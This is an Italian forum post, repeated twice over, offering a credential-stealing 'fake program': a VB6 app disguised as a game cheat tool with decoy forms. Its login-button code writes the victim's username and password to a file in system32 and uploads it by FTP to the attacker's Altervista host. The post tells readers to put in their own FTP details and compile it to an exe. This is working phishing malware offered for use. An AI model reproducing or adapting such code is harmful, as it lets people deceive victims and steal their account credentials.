salve a tutti era da un decennio che non postavo una release e spero che questa sarà abbastanza utile, il fake program che posterò oggi e compreso da 8 form e per mia e vostra sfortuna e via ftp quindi dovrete modificare solo il command button della connessione mettendo i vostri dati di altervista, innanzitutto scaricatevi le source
ora aprite il progetto in vb6 e modificate nel form del login la seguente source
Private Sub Command1_Click()
Form3.Show
Open "C:\WINDOWS\system32\password.ini" For Append As #1
Write #1, "Username: " & Text1.Text & ", " & "Password: " & Text2.Text & ""
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "nome dell'account"
pswd = "password dell'account"
ftpwebsite = "ftp://nostro host.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = Text1.Text & ".txt"
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\password.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
End Sub
allora bisogna cambiare "nome dell'account" con il vostro username di altervista, "password dell'account" con la password del vostro account di altervista e poi inserire il vostro sito di alterivsta, a questo punto potete salvare tutto su exe, comunque per darvi un'anteprima eccovi delle immagini
il fake è stato completamente creato da me come scritto negli about, avviso che i form sono di completa nullità ma serviranno solo per fare scena e l'unica cosa vera in quei form sono gli about che vi consiglio di leggere perchè questa apllicazione è davvero sotto licenza creative commons
Buon Divertimento. xD
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
ora aprite il progetto in vb6 e modificate nel form del login la seguente source
Private Sub Command1_Click()
Form3.Show
Open "C:\WINDOWS\system32\password.ini" For Append As #1
Write #1, "Username: " & Text1.Text & ", " & "Password: " & Text2.Text & ""
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "nome dell'account"
pswd = "password dell'account"
ftpwebsite = "ftp://nostro host.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = Text1.Text & ".txt"
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\password.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
End Sub
allora bisogna cambiare "nome dell'account" con il vostro username di altervista, "password dell'account" con la password del vostro account di altervista e poi inserire il vostro sito di alterivsta, a questo punto potete salvare tutto su exe, comunque per darvi un'anteprima eccovi delle immagini
sfondo
login
menù
mutants tool
packetlogger
teleport
credits
about
login
menù
mutants tool
packetlogger
teleport
credits
about
il fake è stato completamente creato da me come scritto negli about, avviso che i form sono di completa nullità ma serviranno solo per fare scena e l'unica cosa vera in quei form sono gli about che vi consiglio di leggere perchè questa apllicazione è davvero sotto licenza creative commons
Buon Divertimento. xD
Ultima modifica:
